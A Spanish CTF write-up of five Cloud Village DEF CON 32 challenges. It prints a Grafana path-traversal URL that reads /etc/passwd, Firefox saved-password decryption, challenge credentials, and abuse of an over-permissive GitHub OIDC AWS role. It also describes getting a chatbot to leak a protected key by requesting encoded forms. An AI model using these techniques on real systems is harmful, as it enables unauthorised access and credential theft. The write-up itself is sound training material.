WriteUp: Cloud Village CTF 2024
Ya sabéis que nos cuesta resistirnos a cualquier cosa que tenga un scoreboard y este relacionado con la nube... Y la distancia y el huso horario no iban a impedirnos darle un intento al CTF que organizaba Cloud Village en #DEFCON32 el pasado fin de semana.
No le pudimos dedicar mucho tiempo pero fuimos capaces de resolver 5 de los 30 retos y acabar 21 de 104 equipos.
Aquí os dejamos un walkthrough de los retos que resolvimos.
Dracarys - Game Hacking Village Challenge ~ 100
Dentro de la web hay un enlace con un zip:
En el zip encontramos unas instrucciones:
Output
Welcome Dev, sharing instructions to securely store passwords for our dashboarding tool located at:
http://main-alb-1466274369.us-west-1.elb.amazonaws.com:8088/login/
Algorithm used for encryption of passwords:
# Generate a 2048-bit RSA private key
openssl genpkey -algorithm RSA -out private_key.pem -aes256 -pass pass:ZGVmY29uXzIwMjQ=
Using the above algorithm we have encrypted a file named file.enc, containing the user name and password.
# We have set up database connections:
Superset has database connections for google sheet which may contain important information which can be accessed,
here is a connection string:
aHR0cHM6Ly9kb2NzLmdvb2dsZS5jb20vc3ByZWFkc2hlZXRzL2QvMWVYekVTNlhqVWVkdXBIem5IZHVrUUMwbmFQU3h2dEhyd2FjTFNIUGlaYk0vZWRpdD91c3A9c2hhcmluZw==
References to add database connections in superset:
1. Login with the user name and password
2. Navigate to add a new database connection (Data -> Connect Google Sheets).
3. Fill out the form with the connection string and a name for the database.
4. Once the database is created -> Click on "Connect", then "Query Data in Sql Lab" and wait for a couple of seconds
Then click on cancel and query the data in sql lab
5. Hint : Checkout the "Saved Queries" under "SQL Lab" if the connection string does not work !!!
Tenemos el file.enc
, la clave y en instrucciones la contraseña de la clave:
- La key se generó con:
- La contraseña es:
Con eso podemos descifrar el file.enc
:
$ openssl rsautl -decrypt -inkey private_key.pem -in file.enc -out decrypted_file.txt
Enter pass phrase for private_key.pem:
$ cat decrypted_file.txt
username : sf_admin
password: Lha@jasd982!!
Con esas credenciales podemos acceder al dashboard que se menciona en las instrucciones, pero antes, le echamos un ojo a este otro trozo que tiene un base64:
Superset has database connections for google sheet which may contain important information which can be accessed,
here is a connection string:
aHR0cHM6Ly9kb2NzLmdvb2dsZS5jb20vc3ByZWFkc2hlZXRzL2QvMWVYekVTNlhqVWVkdXBIem5IZHVrUUMwbmFQU3h2dEhyd2FjTFNIUGlaYk0vZWRpdD91c3A9c2hhcmluZw==
Es un link a un spreadsheet:
$ printf "aHR0cHM6Ly9kb2NzLmdvb2dsZS5jb20vc3ByZWFkc2hlZXRzL2QvMWVYekVTNlhqVWVkdXBIem5IZHVrUUMwbmFQU3h2dEhyd2FjTFNIUGlaYk0vZWRpdD91c3A9c2hhcmluZw==" | base64 -d
https://docs.google.com/spreadsheets/d/1eXzES6XjUedupHznHdukQC0naPSxvtHrwacLSHPiZbM/edit?usp=sharing
En el que encontramos directamente la flag:
Daenerys ~ 150
El enlace "a Eldoria" lleva a un panel de login de Grafana:
Este reto estaba en la sección "Shadowy Exploits", y por el mensaje de "New version available!" tiene pinta que no es la última versión de Grafana.
Con una búsqueda rápida encontramos el CVE-2022-32275:
Grafana 8.4.3 allows reading files via (for example) a
/dashboard/snapshot/%7B%7Bconstructor.constructor'/.. /.. /.. /.. /.. /.. /.. /.. /etc/passwd
URI.
Probemos... Entramos en:
http://main-alb-1043141211.us-west-2.elb.amazonaws.com:3000/dashboard/snapshot/%7B%7Bconstructor.constructor'/..%20/..%20/..%20/..%20/..%20/..%20/..%20/..%20/etc/passw
The Mozilla Matrix ~ 300
El reto empieza con un zip que dentro tiene:
$ ls sv7i9wlm.MozillaMatrix
AlternateServices.bin key4.db
ExperimentStoreData.json logins-backup.json
SiteSecurityServiceState.bin logins.json
addonStartup.json.lz4 parent.lock
addons.json permissions.sqlite
broadcast-listeners.json pkcs11.txt
cert9.db places.sqlite
compatibility.ini places.sqlite-shm
containers.json places.sqlite-wal
content-prefs.sqlite prefs.js
cookies.sqlite protections.sqlite
cookies.sqlite-shm search.json.mozlz4
cookies.sqlite-wal sessionCheckpoints.json
crashes sessionstore-backups
datareporting sessionstore.jsonlz4
domain_to_categories.sqlite settings
domain_to_categories.sqlite-journal shader-cache
extension-preferences.json shield-preference-experiments.json
extensions.json storage
favicons.sqlite storage.sqlite
favicons.sqlite-shm targeting.snapshot.json
favicons.sqlite-wal times.json
formhistory.sqlite webappsstore.sqlite
gmp-gmpopenh264 webappsstore.sqlite-shm
gmp-widevinecdm webappsstore.sqlite-wal
handlers.json xulstore.json
Por el titulo y los archivos, parece una copia de una configuración de Mozilla Firefox.
Nos llama la atención logins.json
y logins-backup.json
, ambos contienen este json:
{
"nextId": 6,
"logins": [
{
"id": 5,
"hostname": "https://mozillamatrix.dragons-in-the.cloud",
"httpRealm": null,
"formSubmitURL": "",
"usernameField": "",
"passwordField": "",
"encryptedUsername": "MHIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECKURO2ywGqkWBEhCvChZj5Rt65g69RF1Qd/91NHtCtxhR+swJ6KcGBHfGOzXlq+CylSR6pvPo5Se8lpjAArR2yMzxp9siASYrunW1mXabYVPPuA=",
"encryptedPassword": "MEIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECAtKGEAlTubCBBidkBCkEJ3BX9K+cRTzYhrmBpodGwRefHw=",
"guid": "{071cdb86-4be5-40b0-9a8e-e9d29f9d2715}",
"encType": 1,
"timeCreated": 1719734759912,
"timeLastUsed": 1719734759912,
"timePasswordChanged": 1720149199020,
"timesUsed": 1,
"syncCounter": 3,
"everSynced": false,
"encryptedUnknownFields": null
}
],
"potentiallyVulnerablePasswords": [],
"dismissedBreachAlertsByLoginGUID": {},
"version": 3
}
Solo cambian encryptedUsername
, encryptedUsername
, timePasswordChanged
y syncCounter
.
Usando firefox_decrypt sacamos los usuarios y contraseñas de ambos archivos:
root@2a8987f98b1c:~/data/firefox_decrypt-main# python test.py ../sv7i9wlm.MozillaMatrix/
2024-08-10 15:19:12,739 - WARNING - profile.ini not found in ../sv7i9wlm.MozillaMatrix/
2024-08-10 15:19:12,739 - WARNING - Continuing and assuming '../sv7i9wlm.MozillaMatrix/' is a profile location
Website: https://mozillamatrix.dragons-in-the.cloud
Username: 'path: /TlF8KNeH6d username: f34e60ec-bdcd-4821-9f5b-902db18db2b0'
Password: '1UA4>C41eE@M=_4n4U:.sL'
root@2a8987f98b1c:~/data/firefox_decrypt-main# mv ../sv7i9wlm.MozillaMatrix/logins-backup.json ../sv7i9wlm.MozillaMatrix/logins.json
root@2a8987f98b1c:~/data/firefox_decrypt-main# python test.py ../sv7i9wlm.MozillaMatrix/
2024-08-10 15:22:05,876 - WARNING - profile.ini not found in ../sv7i9wlm.MozillaMatrix/
2024-08-10 15:22:05,876 - WARNING - Continuing and assuming '../sv7i9wlm.MozillaMatrix/' is a profile location
Website: https://mozillamatrix.dragons-in-the.cloud
Username: 'path: /TlF8KNeH6d username: f34e60ec-bdcd-4821-9f5b-902db18db2b0'
Password: '1UA4>C41eE@M=_4n4U:.sLp'
Pasando esas credenciales como basic auth no podía acceder, pero metiendo a mano el username
y password
como headers desde el navegador si:
Con curl
sería :
curl -v 'http://mozillamatrix.dragons-in-the.cloud/TlF8KNeH6d' -X POST -H 'username: f34e60ec-bdcd-4821-9f5b-902db18db2b0' -H 'Password: 1UA4>C41eE@M=_4n4U:.sL'
Output
* Host mozillamatrix.dragons-in-the.cloud:80 was resolved.
* IPv6: (none)
* IPv4: 138.197.232.86
* Trying 138.197.232.86:80...
* Connected to mozillamatrix.dragons-in-the.cloud (138.197.232.86) port 80
> POST /TlF8KNeH6d HTTP/1.1
> Host: mozillamatrix.dragons-in-the.cloud
> User-Agent: curl/8.6.0
> Accept: */*
> username: f34e60ec-bdcd-4821-9f5b-902db18db2b0
> Password: 1UA4>C41eE@M=_4n4U:.sL
>
< HTTP/1.1 200 OK
< Server: Werkzeug/3.0.3 Python/3.10.14
< Date: Sun, 11 Aug 2024 08:29:04 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 39
< Connection: close
<
* Closing connection
FLAG-{0BsgU7Y6wH8khvmJvtUmVF7UVOOksDnk}
IR-Knights Assistant ~ 390
Accedemos a un chatbot con diferentes "modos", y el modo 4 necesita verificación extra:
Vamos a seguir su consejo e intentar conseguir pistas desde los otros modos:
Ya tenemos la primera pista:
The key consists of multiple words combined together, with an underscore "_" separating the words. It does not contain any spaces. The key is case-sensitive, so you'll need to enter it exactly as specified, including the proper capitalization.
Otra pista más:
The key consists of multiple words combined in a phrase. If separated into individual words, one of the words is a common cybersecurity term referring to a malicious actor. Additionally, the key can potentially be represented in different encoded formats besides plaintext, such as Base64, hexadecimal, reversed, or ROT13 encoding.
Note
Esto suele funcionar bastante con chatbots de este tipo que no están bien protegidos y solo comprueban que no están revelando literalmente el string de los datos que quieren proteger.
Ya tenemos el código de verificación:
Le pasamos un correo temporal de webhook.site, pero no nos llegaba nada...
Por si acaso no soportaba esa web, preguntamos que tipo de direcciones soportaba:
Ahora si, en el webhook recibimos una request con este payload:
Descargamos las dos imágenes del repo y hacemos un export del filesystem:
$ ls -a container/app
IR-Knights.py requirements.txt
$ ls -a container-v0/app
app Dockerfile .env IR-Knights.py requirements.txt
Y en ese .env
que tenemos...
Warden's Ruse ~ 540
Una vez más nos dan un zip. Dentro encontramos lo que parece un export de un repo de github:
$ ls -aR Wardens-Ruse-main
.github Warden.png repo-visibility.png
README.md main.tf
Wardens-Ruse-main/.github:
workflows
Wardens-Ruse-main/.github/workflows:
apply-prod.yaml
En el README.md
vemos que están configurando un bucket y una web en cloudfront:
TODO: Lock up once Haxisha finishes setting up dc32-wardens-treasure-prod and <https://d2azf0l1i0s26w.cloudfront.net/>.
Echando un ojo al main.tf
vemos que crean un rol que no parece estar limitado correctamente:
resource "aws_iam_role" "warden" {
name = "warden-production" // (1)!
assume_role_policy = data.aws_iam_policy_document.warden-role.json
}
data "aws_iam_policy_document" "warden-role" {
statement {
actions = ["sts:AssumeRoleWithWebIdentity"]
principals {
identifiers = [aws_iam_openid_connect_provider.github.arn]
type = "Federated"
}
condition {
test = "StringEquals"
values = ["sts.amazonaws.com"]
variable = "token.actions.githubusercontent.com:aud"
}
condition {
test = "StringLike"
values = ["repo:*/Wardens-Ruse:ref:refs/heads/endlessendurance"] // (2)!
variable = "token.actions.githubusercontent.com:sub"
}
condition {
test = "StringEquals"
values = ["private"]
variable = "token.actions.githubusercontent.com:repository_visibility"
}
}
}
- Nombre del rol que están creando, esto nos será util luego.
- Esta condición permite a cualquier usuario con un repo privado de Github llamado
Wardens-Ruse
y usando la ramaendlessendurance
asumir este rol usando Github Actions.
Creamos un repo privado con el código del zip y tratamos de asumir el rol en el que "Haisha" esta trabajando:
- name: Auth to AWS
uses: aws-actions/configure-aws-credentials@v4
with:
aws-region: us-west-2
role-to-assume: arn:aws:iam::${{ secrets.ACCOUNT_ID }}:role/warden-production # (1)!
- Este es el nombre del rol que vimos en el
main.tf
.
Pero para poder asumir el rol nos hace falta el ACCOUNT_ID
, probamos con el account ID que teníamos de otro reto que no pudimos terminar de resolver y...
Nota
Aquí, tuvimos suerte usando el account ID de otro reto, realmente estaba "oculto" en la web en cloudfront.
Y esto es todo amigos! Se nos quedaron unos cuantos retos más a mitad que tendremos que esperar a los writeups para descubrir que nos faltaba.
Si os queda alguna duda de alguno de los pasos o comentario no dudéis en escribirnos.
Esperamos que leer sobre como funcionan estos retos os anime a participar en próximos CTFs, es una forma divertida de poner en práctica lo que ya sabes y aprender alguna cosilla más por el camino. (Cuidado que enganchan!)
Saludos, y que la fuerza os acompañe.